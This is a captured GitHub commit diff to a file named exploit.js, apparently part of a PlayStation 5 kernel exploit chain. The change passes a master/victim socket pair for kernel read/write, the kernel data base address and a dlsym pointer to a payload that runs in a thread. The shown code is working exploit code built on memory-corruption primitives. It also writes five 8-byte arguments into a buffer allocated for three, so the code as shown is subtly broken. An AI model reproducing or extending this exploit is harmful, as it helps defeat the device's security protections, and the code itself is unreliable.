Skip to content

Commit 3598eff

Browse files
committed
Add payload entry args for kernel read/write
1 parent e4dcd14 commit 3598eff

1 file changed

Lines changed: 11 additions & 3 deletions

File tree

document/en/ps5/exploit.js

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1427,14 +1427,22 @@ async function userland() {
14271427
// TODO: Dynamic / relocations
14281428
}
14291429

1430+
let rwpair_mem = p.malloc(0x8);
14301431
let test_payload_store = p.malloc(0x8);
14311432
let pthread_handle_store = p.malloc(0x8);
14321433
let pthread_value_store = p.malloc(0x8);
14331434
let args = p.malloc(0x8 * 3);
14341435

1435-
p.write8(args.add32(0x00), dlsym_addr); // arg1
1436-
p.write8(args.add32(0x08), pipe_mem); // arg2
1437-
p.write8(args.add32(0x10), test_payload_store); // arg3
1436+
// Pass master/victim pair to payload so it can do read/write
1437+
p.write4(rwpair_mem.add32(0x00), master_sock);
1438+
p.write4(rwpair_mem.add32(0x04), victim_sock);
1439+
1440+
// Arguments to entrypoint
1441+
p.write8(args.add32(0x00), dlsym_addr); // arg1 = dlsym fptr
1442+
p.write8(args.add32(0x08), pipe_mem); // arg2 = int *pipe[2]
1443+
p.write8(args.add32(0x10), rwpair_mem); // arg3 = int *rwpair[2]
1444+
p.write8(args.add32(0x18), data_base_addr); // arg4 = uint64_t kdata_base
1445+
p.write8(args.add32(0x20), test_payload_store); // arg5 = out buffer
14381446

14391447
// Execute payload in pthread
14401448
await log(" [+] Executing!");

0 commit comments

Comments
 (0)